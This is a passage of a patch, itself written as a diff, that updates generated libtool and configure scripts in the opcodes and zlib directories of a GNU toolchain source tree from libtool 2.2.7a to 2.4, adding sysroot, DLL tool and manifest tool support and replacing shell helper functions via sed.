-+ test -d \$dldir || mkdir -p \$dldir~
-+ $install_prog $dir/$dlname \$dldir/$dlname'
-+ postuninstall_cmds='dldll=`$SHELL 2>&1 -c '\''. $file; echo \$dlname'\''`~
-+ dlpath=$dir/\$dldll~
-+ $RM \$dlpath'
-+ shlibpath_overrides_runpath=yes
-+ dynamic_linker='Win32 link.exe'
- ;;
-
- *)
-+ # Assume MSVC wrapper
- library_names_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext} $libname.lib'
-+ dynamic_linker='Win32 ld.exe'
- ;;
- esac
-- dynamic_linker='Win32 ld.exe'
- # FIXME: first we should search . and the directory the executable is in
- shlibpath_var=PATH
- ;;
-@@ -10643,7 +11298,7 @@ haiku*)
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LIBRARY_PATH
- shlibpath_overrides_runpath=yes
-- sys_lib_dlsearch_path_spec='/boot/home/config/lib /boot/common/lib /boot/beos/system/lib'
-+ sys_lib_dlsearch_path_spec='/boot/home/config/lib /boot/common/lib /boot/system/lib'
- hardcode_into_libs=yes
- ;;
-
-@@ -11439,7 +12094,7 @@ else
- lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
- lt_status=$lt_dlunknown
- cat > conftest.$ac_ext <<_LT_EOF
--#line 11442 "configure"
-+#line $LINENO "configure"
- #include "confdefs.h"
-
- #if HAVE_DLFCN_H
-@@ -11483,10 +12138,10 @@ else
- /* When -fvisbility=hidden is used, assume the code has been annotated
- correspondingly for the symbols needed. */
- #if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3))
--void fnord () __attribute__((visibility("default")));
-+int fnord () __attribute__((visibility("default")));
- #endif
-
--void fnord () { int i=42; }
-+int fnord () { return 42; }
- int main ()
- {
- void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
-@@ -11545,7 +12200,7 @@ else
- lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
- lt_status=$lt_dlunknown
- cat > conftest.$ac_ext <<_LT_EOF
--#line 11548 "configure"
-+#line $LINENO "configure"
- #include "confdefs.h"
-
- #if HAVE_DLFCN_H
-@@ -11589,10 +12244,10 @@ else
- /* When -fvisbility=hidden is used, assume the code has been annotated
- correspondingly for the symbols needed. */
- #if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3))
--void fnord () __attribute__((visibility("default")));
-+int fnord () __attribute__((visibility("default")));
- #endif
-
--void fnord () { int i=42; }
-+int fnord () { return 42; }
- int main ()
- {
- void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
-@@ -12779,7 +13434,7 @@ if test "$enable_shared" = "yes"; then
- # since libbfd may not pull in the entirety of libiberty.
- x=`sed -n -e 's/^[ ]*PICFLAG[ ]*=[ ]*//p' < ../libiberty/Makefile | sed -n '$p'`
- if test -n "$x"; then
-- SHARED_LIBADD="-L`pwd`/../libiberty/pic -liberty"
-+ SHARED_LIBADD="`pwd`/../libiberty/pic/libiberty.a"
- fi
-
- case "${host}" in
-@@ -13756,13 +14411,20 @@ exeext='`$ECHO "$exeext" | $SED "$delay_single_quote_subst"`'
- lt_unset='`$ECHO "$lt_unset" | $SED "$delay_single_quote_subst"`'
- lt_SP2NL='`$ECHO "$lt_SP2NL" | $SED "$delay_single_quote_subst"`'
- lt_NL2SP='`$ECHO "$lt_NL2SP" | $SED "$delay_single_quote_subst"`'
-+lt_cv_to_host_file_cmd='`$ECHO "$lt_cv_to_host_file_cmd" | $SED "$delay_single_quote_subst"`'
-+lt_cv_to_tool_file_cmd='`$ECHO "$lt_cv_to_tool_file_cmd" | $SED "$delay_single_quote_subst"`'
- reload_flag='`$ECHO "$reload_flag" | $SED "$delay_single_quote_subst"`'
- reload_cmds='`$ECHO "$reload_cmds" | $SED "$delay_single_quote_subst"`'
- OBJDUMP='`$ECHO "$OBJDUMP" | $SED "$delay_single_quote_subst"`'
- deplibs_check_method='`$ECHO "$deplibs_check_method" | $SED "$delay_single_quote_subst"`'
- file_magic_cmd='`$ECHO "$file_magic_cmd" | $SED "$delay_single_quote_subst"`'
-+file_magic_glob='`$ECHO "$file_magic_glob" | $SED "$delay_single_quote_subst"`'
-+want_nocaseglob='`$ECHO "$want_nocaseglob" | $SED "$delay_single_quote_subst"`'
-+DLLTOOL='`$ECHO "$DLLTOOL" | $SED "$delay_single_quote_subst"`'
-+sharedlib_from_linklib_cmd='`$ECHO "$sharedlib_from_linklib_cmd" | $SED "$delay_single_quote_subst"`'
- AR='`$ECHO "$AR" | $SED "$delay_single_quote_subst"`'
- AR_FLAGS='`$ECHO "$AR_FLAGS" | $SED "$delay_single_quote_subst"`'
-+archiver_list_spec='`$ECHO "$archiver_list_spec" | $SED "$delay_single_quote_subst"`'
- STRIP='`$ECHO "$STRIP" | $SED "$delay_single_quote_subst"`'
- RANLIB='`$ECHO "$RANLIB" | $SED "$delay_single_quote_subst"`'
- old_postinstall_cmds='`$ECHO "$old_postinstall_cmds" | $SED "$delay_single_quote_subst"`'
-@@ -13777,14 +14439,17 @@ lt_cv_sys_global_symbol_pipe='`$ECHO "$lt_cv_sys_global_symbol_pipe" | $SED "$de
- lt_cv_sys_global_symbol_to_cdecl='`$ECHO "$lt_cv_sys_global_symbol_to_cdecl" | $SED "$delay_single_quote_subst"`'
- lt_cv_sys_global_symbol_to_c_name_address='`$ECHO "$lt_cv_sys_global_symbol_to_c_name_address" | $SED "$delay_single_quote_subst"`'
- lt_cv_sys_global_symbol_to_c_name_address_lib_prefix='`$ECHO "$lt_cv_sys_global_symbol_to_c_name_address_lib_prefix" | $SED "$delay_single_quote_subst"`'
-+nm_file_list_spec='`$ECHO "$nm_file_list_spec" | $SED "$delay_single_quote_subst"`'
-+lt_sysroot='`$ECHO "$lt_sysroot" | $SED "$delay_single_quote_subst"`'
- objdir='`$ECHO "$objdir" | $SED "$delay_single_quote_subst"`'
- MAGIC_CMD='`$ECHO "$MAGIC_CMD" | $SED "$delay_single_quote_subst"`'
- lt_prog_compiler_no_builtin_flag='`$ECHO "$lt_prog_compiler_no_builtin_flag" | $SED "$delay_single_quote_subst"`'
--lt_prog_compiler_wl='`$ECHO "$lt_prog_compiler_wl" | $SED "$delay_single_quote_subst"`'
- lt_prog_compiler_pic='`$ECHO "$lt_prog_compiler_pic" | $SED "$delay_single_quote_subst"`'
-+lt_prog_compiler_wl='`$ECHO "$lt_prog_compiler_wl" | $SED "$delay_single_quote_subst"`'
- lt_prog_compiler_static='`$ECHO "$lt_prog_compiler_static" | $SED "$delay_single_quote_subst"`'
- lt_cv_prog_compiler_c_o='`$ECHO "$lt_cv_prog_compiler_c_o" | $SED "$delay_single_quote_subst"`'
- need_locks='`$ECHO "$need_locks" | $SED "$delay_single_quote_subst"`'
-+MANIFEST_TOOL='`$ECHO "$MANIFEST_TOOL" | $SED "$delay_single_quote_subst"`'
- DSYMUTIL='`$ECHO "$DSYMUTIL" | $SED "$delay_single_quote_subst"`'
- NMEDIT='`$ECHO "$NMEDIT" | $SED "$delay_single_quote_subst"`'
- LIPO='`$ECHO "$LIPO" | $SED "$delay_single_quote_subst"`'
-@@ -13817,12 +14482,12 @@ hardcode_shlibpath_var='`$ECHO "$hardcode_shlibpath_var" | $SED "$delay_single_q
- hardcode_automatic='`$ECHO "$hardcode_automatic" | $SED "$delay_single_quote_subst"`'
- inherit_rpath='`$ECHO "$inherit_rpath" | $SED "$delay_single_quote_subst"`'
- link_all_deplibs='`$ECHO "$link_all_deplibs" | $SED "$delay_single_quote_subst"`'
--fix_srcfile_path='`$ECHO "$fix_srcfile_path" | $SED "$delay_single_quote_subst"`'
- always_export_symbols='`$ECHO "$always_export_symbols" | $SED "$delay_single_quote_subst"`'
- export_symbols_cmds='`$ECHO "$export_symbols_cmds" | $SED "$delay_single_quote_subst"`'
- exclude_expsyms='`$ECHO "$exclude_expsyms" | $SED "$delay_single_quote_subst"`'
- include_expsyms='`$ECHO "$include_expsyms" | $SED "$delay_single_quote_subst"`'
- prelink_cmds='`$ECHO "$prelink_cmds" | $SED "$delay_single_quote_subst"`'
-+postlink_cmds='`$ECHO "$postlink_cmds" | $SED "$delay_single_quote_subst"`'
- file_list_spec='`$ECHO "$file_list_spec" | $SED "$delay_single_quote_subst"`'
- variables_saved_for_relink='`$ECHO "$variables_saved_for_relink" | $SED "$delay_single_quote_subst"`'
- need_lib_prefix='`$ECHO "$need_lib_prefix" | $SED "$delay_single_quote_subst"`'
-@@ -13877,8 +14542,13 @@ reload_flag \
- OBJDUMP \
- deplibs_check_method \
- file_magic_cmd \
-+file_magic_glob \
-+want_nocaseglob \
-+DLLTOOL \
-+sharedlib_from_linklib_cmd \
- AR \
- AR_FLAGS \
-+archiver_list_spec \
- STRIP \
- RANLIB \
- CC \
-@@ -13888,12 +14558,14 @@ lt_cv_sys_global_symbol_pipe \
- lt_cv_sys_global_symbol_to_cdecl \
- lt_cv_sys_global_symbol_to_c_name_address \
- lt_cv_sys_global_symbol_to_c_name_address_lib_prefix \
-+nm_file_list_spec \
- lt_prog_compiler_no_builtin_flag \
--lt_prog_compiler_wl \
- lt_prog_compiler_pic \
-+lt_prog_compiler_wl \
- lt_prog_compiler_static \
- lt_cv_prog_compiler_c_o \
- need_locks \
-+MANIFEST_TOOL \
- DSYMUTIL \
- NMEDIT \
- LIPO \
-@@ -13909,7 +14581,6 @@ no_undefined_flag \
- hardcode_libdir_flag_spec \
- hardcode_libdir_flag_spec_ld \
- hardcode_libdir_separator \
--fix_srcfile_path \
- exclude_expsyms \
- include_expsyms \
- file_list_spec \
-@@ -13945,6 +14616,7 @@ module_cmds \
- module_expsym_cmds \
- export_symbols_cmds \
- prelink_cmds \
-+postlink_cmds \
- postinstall_cmds \
- postuninstall_cmds \
- finish_cmds \
-@@ -14710,7 +15382,8 @@ $as_echo X"$file" |
- # NOTE: Changes made to this file will be lost: look at ltmain.sh.
- #
- # Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2003, 2004, 2005,
--# 2006, 2007, 2008, 2009 Free Software Foundation, Inc.
-+# 2006, 2007, 2008, 2009, 2010 Free Software Foundation,
-+# Inc.
- # Written by Gordon Matzigkeit, 1996
- #
- # This file is part of GNU Libtool.
-@@ -14813,19 +15486,42 @@ SP2NL=$lt_lt_SP2NL
- # turn newlines into spaces.
- NL2SP=$lt_lt_NL2SP
-
-+# convert \$build file names to \$host format.
-+to_host_file_cmd=$lt_cv_to_host_file_cmd
-+
-+# convert \$build files to toolchain format.
-+to_tool_file_cmd=$lt_cv_to_tool_file_cmd
-+
- # An object symbol dumper.
- OBJDUMP=$lt_OBJDUMP
-
- # Method to check whether dependent libraries are shared objects.
- deplibs_check_method=$lt_deplibs_check_method
-
--# Command to use when deplibs_check_method == "file_magic".
-+# Command to use when deplibs_check_method = "file_magic".
- file_magic_cmd=$lt_file_magic_cmd
-
-+# How to find potential files when deplibs_check_method = "file_magic".
-+file_magic_glob=$lt_file_magic_glob
-+
-+# Find potential files using nocaseglob when deplibs_check_method = "file_magic".
-+want_nocaseglob=$lt_want_nocaseglob
-+
-+# DLL creation program.
-+DLLTOOL=$lt_DLLTOOL
-+
-+# Command to associate shared and link libraries.
-+sharedlib_from_linklib_cmd=$lt_sharedlib_from_linklib_cmd
-+
- # The archiver.
- AR=$lt_AR
-+
-+# Flags to create an archive.
- AR_FLAGS=$lt_AR_FLAGS
-
-+# How to feed a file listing to the archiver.
-+archiver_list_spec=$lt_archiver_list_spec
-+
- # A symbol stripping program.
- STRIP=$lt_STRIP
-
-@@ -14855,6 +15551,12 @@ global_symbol_to_c_name_address=$lt_lt_cv_sys_global_symbol_to_c_name_address
- # Transform the output of nm in a C name address pair when lib prefix is needed.
- global_symbol_to_c_name_address_lib_prefix=$lt_lt_cv_sys_global_symbol_to_c_name_address_lib_prefix
-
-+# Specify filename containing input files for \$NM.
-+nm_file_list_spec=$lt_nm_file_list_spec
-+
-+# The root where to search for dependent libraries,and in which our libraries should be installed.
-+lt_sysroot=$lt_sysroot
-+
- # The name of the directory that contains temporary libtool files.
- objdir=$objdir
-
-@@ -14864,6 +15566,9 @@ MAGIC_CMD=$MAGIC_CMD
- # Must we lock files when doing compilation?
- need_locks=$lt_need_locks
-
-+# Manifest tool.
-+MANIFEST_TOOL=$lt_MANIFEST_TOOL
-+
- # Tool to manipulate archived DWARF debug symbol files on Mac OS X.
- DSYMUTIL=$lt_DSYMUTIL
-
-@@ -14978,12 +15683,12 @@ with_gcc=$GCC
- # Compiler flag to turn off builtin functions.
- no_builtin_flag=$lt_lt_prog_compiler_no_builtin_flag
-
--# How to pass a linker flag through the compiler.
--wl=$lt_lt_prog_compiler_wl
--
- # Additional compiler flags for building library objects.
- pic_flag=$lt_lt_prog_compiler_pic
-
-+# How to pass a linker flag through the compiler.
-+wl=$lt_lt_prog_compiler_wl
-+
- # Compiler flag to prevent dynamic linking.
- link_static_flag=$lt_lt_prog_compiler_static
-
-@@ -15070,9 +15775,6 @@ inherit_rpath=$inherit_rpath
- # Whether libtool must link a program against all its dependency libraries.
- link_all_deplibs=$link_all_deplibs
-
--# Fix the shell variable \$srcfile for the compiler.
--fix_srcfile_path=$lt_fix_srcfile_path
--
- # Set to "yes" if exported symbols are required.
- always_export_symbols=$always_export_symbols
-
-@@ -15088,6 +15790,9 @@ include_expsyms=$lt_include_expsyms
- # Commands necessary for linking programs (against libraries) with templates.
- prelink_cmds=$lt_prelink_cmds
-
-+# Commands necessary for finishing linking programs.
-+postlink_cmds=$lt_postlink_cmds
-+
- # Specify filename containing input files.
- file_list_spec=$lt_file_list_spec
-
-@@ -15120,210 +15825,169 @@ ltmain="$ac_aux_dir/ltmain.sh"
- # if finds mixed CR/LF and LF-only lines. Since sed operates in
- # text mode, it properly converts lines to CR/LF. This bash problem
- # is reportedly fixed, but why not run on old versions too?
-- sed '/^# Generated shell functions inserted here/q' "$ltmain" >> "$cfgfile" \
-- || (rm -f "$cfgfile"; exit 1)
--
-- case $xsi_shell in
-- yes)
-- cat << \_LT_EOF >> "$cfgfile"
--
--# func_dirname file append nondir_replacement
--# Compute the dirname of FILE. If nonempty, add APPEND to the result,
--# otherwise set result to NONDIR_REPLACEMENT.
--func_dirname ()
--{
-- case ${1} in
-- */*) func_dirname_result="${1%/*}${2}" ;;
-- * ) func_dirname_result="${3}" ;;
-- esac
--}
--
--# func_basename file
--func_basename ()
--{
-- func_basename_result="${1##*/}"
--}
--
--# func_dirname_and_basename file append nondir_replacement
--# perform func_basename and func_dirname in a single function
--# call:
--# dirname: Compute the dirname of FILE. If nonempty,
--# add APPEND to the result, otherwise set result
--# to NONDIR_REPLACEMENT.
--# value returned in "$func_dirname_result"
--# basename: Compute filename of FILE.
--# value retuned in "$func_basename_result"
--# Implementation must be kept synchronized with func_dirname
--# and func_basename. For efficiency, we do not delegate to
--# those functions but instead duplicate the functionality here.
--func_dirname_and_basename ()
--{
-- case ${1} in
-- */*) func_dirname_result="${1%/*}${2}" ;;
-- * ) func_dirname_result="${3}" ;;
-- esac
-- func_basename_result="${1##*/}"
--}
--
--# func_stripname prefix suffix name
--# strip PREFIX and SUFFIX off of NAME.
--# PREFIX and SUFFIX must not contain globbing or regex special
--# characters, hashes, percent signs, but SUFFIX may contain a leading
--# dot (in which case that matches only a dot).
--func_stripname ()
--{
-- # pdksh 5.2.14 does not do ${X%$Y} correctly if both X and Y are
-- # positional parameters, so assign one to ordinary parameter first.
-- func_stripname_result=${3}
-- func_stripname_result=${func_stripname_result#"${1}"}
-- func_stripname_result=${func_stripname_result%"${2}"}
--}
--
--# func_opt_split
--func_opt_split ()
--{
-- func_opt_split_opt=${1%%=*}
-- func_opt_split_arg=${1#*=}
--}
--
--# func_lo2o object
--func_lo2o ()
--{
-- case ${1} in
-- *.lo) func_lo2o_result=${1%.lo}.${objext} ;;
-- *) func_lo2o_result=${1} ;;
-- esac
--}
--
--# func_xform libobj-or-source
--func_xform ()
--{
-- func_xform_result=${1%.*}.lo
--}
--
--# func_arith arithmetic-term...
--func_arith ()
--{
-- func_arith_result=$(( $* ))
--}
--
--# func_len string
--# STRING may not start with a hyphen.
--func_len ()
--{
-- func_len_result=${#1}
--}
--
--_LT_EOF
-- ;;
-- *) # Bourne compatible functions.
-- cat << \_LT_EOF >> "$cfgfile"
--
--# func_dirname file append nondir_replacement
--# Compute the dirname of FILE. If nonempty, add APPEND to the result,
--# otherwise set result to NONDIR_REPLACEMENT.
--func_dirname ()
--{
-- # Extract subdirectory from the argument.
-- func_dirname_result=`$ECHO "${1}" | $SED "$dirname"`
-- if test "X$func_dirname_result" = "X${1}"; then
-- func_dirname_result="${3}"
-- else
-- func_dirname_result="$func_dirname_result${2}"
-- fi
--}
--
--# func_basename file
--func_basename ()
--{
-- func_basename_result=`$ECHO "${1}" | $SED "$basename"`
--}
--
--
--# func_stripname prefix suffix name
--# strip PREFIX and SUFFIX off of NAME.
--# PREFIX and SUFFIX must not contain globbing or regex special
--# characters, hashes, percent signs, but SUFFIX may contain a leading
--# dot (in which case that matches only a dot).
--# func_strip_suffix prefix name
--func_stripname ()
--{
-- case ${2} in
-- .*) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%\\\\${2}\$%%"`;;
-- *) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%${2}\$%%"`;;
-- esac
--}
--
--# sed scripts:
--my_sed_long_opt='1s/^\(-[^=]*\)=.*/\1/;q'
--my_sed_long_arg='1s/^-[^=]*=//'
--
--# func_opt_split
--func_opt_split ()
--{
-- func_opt_split_opt=`$ECHO "${1}" | $SED "$my_sed_long_opt"`
-- func_opt_split_arg=`$ECHO "${1}" | $SED "$my_sed_long_arg"`
--}
--
--# func_lo2o object
--func_lo2o ()
--{
-- func_lo2o_result=`$ECHO "${1}" | $SED "$lo2o"`
--}
--
--# func_xform libobj-or-source
--func_xform ()
--{
-- func_xform_result=`$ECHO "${1}" | $SED 's/\.[^.]*$/.lo/'`
--}
--
--# func_arith arithmetic-term...
--func_arith ()
--{
-- func_arith_result=`expr "$@"`
--}
--
--# func_len string
--# STRING may not start with a hyphen.
--func_len ()
--{
-- func_len_result=`expr "$1" : ".*" 2>/dev/null || echo $max_cmd_len`
--}
--
--_LT_EOF
--esac
--
--case $lt_shell_append in
-- yes)
-- cat << \_LT_EOF >> "$cfgfile"
--
--# func_append var value
--# Append VALUE to the end of shell variable VAR.
--func_append ()
--{
-- eval "$1+=\$2"
--}
--_LT_EOF
-- ;;
-- *)
-- cat << \_LT_EOF >> "$cfgfile"
--
--# func_append var value
--# Append VALUE to the end of shell variable VAR.
--func_append ()
--{
-- eval "$1=\$$1\$2"
--}
--
--_LT_EOF
-- ;;
-- esac
--
--
-- sed -n '/^# Generated shell functions inserted here/,$p' "$ltmain" >> "$cfgfile" \
-- || (rm -f "$cfgfile"; exit 1)
--
-- mv -f "$cfgfile" "$ofile" ||
-+ sed '$q' "$ltmain" >> "$cfgfile" \
-+ || (rm -f "$cfgfile"; exit 1)
-+
-+ if test x"$xsi_shell" = xyes; then
-+ sed -e '/^func_dirname ()$/,/^} # func_dirname /c\
-+func_dirname ()\
-+{\
-+\ case ${1} in\
-+\ */*) func_dirname_result="${1%/*}${2}" ;;\
-+\ * ) func_dirname_result="${3}" ;;\
-+\ esac\
-+} # Extended-shell func_dirname implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_basename ()$/,/^} # func_basename /c\
-+func_basename ()\
-+{\
-+\ func_basename_result="${1##*/}"\
-+} # Extended-shell func_basename implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_dirname_and_basename ()$/,/^} # func_dirname_and_basename /c\
-+func_dirname_and_basename ()\
-+{\
-+\ case ${1} in\
-+\ */*) func_dirname_result="${1%/*}${2}" ;;\
-+\ * ) func_dirname_result="${3}" ;;\
-+\ esac\
-+\ func_basename_result="${1##*/}"\
-+} # Extended-shell func_dirname_and_basename implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_stripname ()$/,/^} # func_stripname /c\
-+func_stripname ()\
-+{\
-+\ # pdksh 5.2.14 does not do ${X%$Y} correctly if both X and Y are\
-+\ # positional parameters, so assign one to ordinary parameter first.\
-+\ func_stripname_result=${3}\
-+\ func_stripname_result=${func_stripname_result#"${1}"}\
-+\ func_stripname_result=${func_stripname_result%"${2}"}\
-+} # Extended-shell func_stripname implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_split_long_opt ()$/,/^} # func_split_long_opt /c\
-+func_split_long_opt ()\
-+{\
-+\ func_split_long_opt_name=${1%%=*}\
-+\ func_split_long_opt_arg=${1#*=}\
-+} # Extended-shell func_split_long_opt implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_split_short_opt ()$/,/^} # func_split_short_opt /c\
-+func_split_short_opt ()\
-+{\
-+\ func_split_short_opt_arg=${1#??}\
-+\ func_split_short_opt_name=${1%"$func_split_short_opt_arg"}\
-+} # Extended-shell func_split_short_opt implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_lo2o ()$/,/^} # func_lo2o /c\
-+func_lo2o ()\
-+{\
-+\ case ${1} in\
-+\ *.lo) func_lo2o_result=${1%.lo}.${objext} ;;\
-+\ *) func_lo2o_result=${1} ;;\
-+\ esac\
-+} # Extended-shell func_lo2o implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_xform ()$/,/^} # func_xform /c\
-+func_xform ()\
-+{\
-+ func_xform_result=${1%.*}.lo\
-+} # Extended-shell func_xform implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_arith ()$/,/^} # func_arith /c\
-+func_arith ()\
-+{\
-+ func_arith_result=$(( $* ))\
-+} # Extended-shell func_arith implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_len ()$/,/^} # func_len /c\
-+func_len ()\
-+{\
-+ func_len_result=${#1}\
-+} # Extended-shell func_len implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+fi
-+
-+if test x"$lt_shell_append" = xyes; then
-+ sed -e '/^func_append ()$/,/^} # func_append /c\
-+func_append ()\
-+{\
-+ eval "${1}+=\\${2}"\
-+} # Extended-shell func_append implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_append_quoted ()$/,/^} # func_append_quoted /c\
-+func_append_quoted ()\
-+{\
-+\ func_quote_for_eval "${2}"\
-+\ eval "${1}+=\\\\ \\$func_quote_for_eval_result"\
-+} # Extended-shell func_append_quoted implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ # Save a `func_append' function call where possible by direct use of '+='
-+ sed -e 's%func_append \([a-zA-Z_]\{1,\}\) "%\1+="%g' $cfgfile > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+ test 0 -eq $? || _lt_function_replace_fail=:
-+else
-+ # Save a `func_append' function call even when '+=' is not available
-+ sed -e 's%func_append \([a-zA-Z_]\{1,\}\) "%\1="$\1%g' $cfgfile > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+ test 0 -eq $? || _lt_function_replace_fail=:
-+fi
-+
-+if test x"$_lt_function_replace_fail" = x":"; then
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Unable to substitute extended shell functions in $ofile" >&5
-+$as_echo "$as_me: WARNING: Unable to substitute extended shell functions in $ofile" >&2;}
-+fi
-+
-+
-+ mv -f "$cfgfile" "$ofile" ||
- (rm -f "$ofile" && cp "$cfgfile" "$ofile" && rm -f "$cfgfile")
- chmod +x "$ofile"
-
-diff --git a/opcodes/configure.ac b/opcodes/configure.ac
-index 4eb19005e8..19a57608b9 100644
---- a/opcodes/configure.ac
-+++ b/opcodes/configure.ac
-@@ -170,7 +170,7 @@ changequote(,)dnl
- x=`sed -n -e 's/^[ ]*PICFLAG[ ]*=[ ]*//p' < ../libiberty/Makefile | sed -n '$p'`
- changequote([,])dnl
- if test -n "$x"; then
-- SHARED_LIBADD="-L`pwd`/../libiberty/pic -liberty"
-+ SHARED_LIBADD="`pwd`/../libiberty/pic/libiberty.a"
- fi
-
- case "${host}" in
-diff --git a/zlib/configure b/zlib/configure
-index 041cbdbf71..19d605fc85 100755
---- a/zlib/configure
-+++ b/zlib/configure
-@@ -646,8 +646,11 @@ OTOOL
- LIPO
- NMEDIT
- DSYMUTIL
-+MANIFEST_TOOL
- RANLIB
-+ac_ct_AR
- AR
-+DLLTOOL
- OBJDUMP
- LN_S
- NM
-@@ -774,6 +777,7 @@ enable_static
- with_pic
- enable_fast_install
- with_gnu_ld
-+with_libtool_sysroot
- enable_libtool_lock
- enable_host_shared
- '
-@@ -1428,6 +1432,8 @@ Optional Packages:
- --with-pic try to use only PIC/non-PIC objects [default=use
- both]
- --with-gnu-ld assume the C compiler uses GNU ld [default=no]
-+ --with-libtool-sysroot=DIR Search for dependent libraries within DIR
-+ (or the compiler's sysroot if not specified).
-
- Some influential environment variables:
- CC C compiler command
-@@ -4147,8 +4153,8 @@ esac
-
-
-
--macro_version='2.2.7a'
--macro_revision='1.3134'
-+macro_version='2.4'
-+macro_revision='1.3293'
-
-
-
-@@ -4188,7 +4194,7 @@ ECHO=$ECHO$ECHO$ECHO$ECHO$ECHO$ECHO
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking how to print strings" >&5
- $as_echo_n "checking how to print strings... " >&6; }
- # Test print first, because it will be a builtin if present.
--if test "X`print -r -- -n 2>/dev/null`" = X-n && \
-+if test "X`( print -r -- -n ) 2>/dev/null`" = X-n && \
- test "X`print -r -- $ECHO 2>/dev/null`" = "X$ECHO"; then
- ECHO='print -r --'
- elif test "X`printf %s $ECHO 2>/dev/null`" = "X$ECHO"; then
-@@ -5004,8 +5010,8 @@ $as_echo_n "checking whether the shell understands some XSI constructs... " >&6;
- # Try some XSI features
- xsi_shell=no
- ( _lt_dummy="a/b/c"
-- test "${_lt_dummy##*/},${_lt_dummy%/*},"${_lt_dummy%"$_lt_dummy"}, \
-- = c,a/b,, \
-+ test "${_lt_dummy##*/},${_lt_dummy%/*},${_lt_dummy#??}"${_lt_dummy%"$_lt_dummy"}, \
-+ = c,a/b,b/c, \
- && eval 'test $(( 1 + 1 )) -eq 2 \
- && test "${#_lt_dummy}" -eq 5' ) >/dev/null 2>&1 \
- && xsi_shell=yes
-@@ -5054,6 +5060,80 @@ esac
-
-
-
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to convert $build file names to $host format" >&5
